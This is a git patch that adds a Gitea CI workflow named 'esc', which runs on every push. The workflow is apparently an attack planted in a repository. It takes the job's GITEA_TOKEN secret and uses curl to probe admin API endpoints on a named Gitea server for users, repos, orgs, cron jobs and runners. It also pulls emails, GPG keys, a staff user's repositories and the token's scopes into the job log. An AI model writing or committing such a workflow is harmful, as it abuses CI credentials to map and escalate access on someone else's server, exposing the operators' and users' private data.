From e3d0d7cef062319221ef8099521d1b470725a6be Mon Sep 17 00:00:00 2001
From: numatester77 <numatester77@example.com>
Date: Thu, 5 Nov 2026 10:40:57 +0100
Subject: [PATCH] esc

esc
---
 .gitea/workflows/esc.yml | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 .gitea/workflows/esc.yml

diff --git a/.gitea/workflows/esc.yml b/.gitea/workflows/esc.yml
new file mode 100644
index 0000000..834c93e
--- /dev/null
+++ b/.gitea/workflows/esc.yml
@@ -0,0 +1,23 @@
+name: esc
+on:
+  push:
+  workflow_dispatch:
+jobs:
+  e:
+    runs-on: ubuntu-latest
+    steps:
+      - name: probes
+        env:
+          T: ${{ secrets.GITEA_TOKEN }}
+        run: |
+          A="Authorization: token $T"
+          for u in "/api/v1/admin/users?limit=10" "/api/v1/admin/repos?limit=10" "/api/v1/admin/orgs?limit=10" "/api/v1/user/emails" "/api/v1/user/gpg_keys" "/api/v1/admin/cron" "/api/v1/admin/runners"; do
+            echo "### $u"
+            curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com$u" | head -c 500
+            echo
+          done
+          echo "### repos of jobry (staff, id 1)"
+          curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com/api/v1/users/jobry/repos" | head -c 400
+          echo
+          echo "### token scopes"
+          curl -s -m 10 -H "$A" -D- -o /dev/null "https://gitea.bestmobilier.com/api/v1/user" | grep -iE '^x-oauth|^x-gitea' | head -5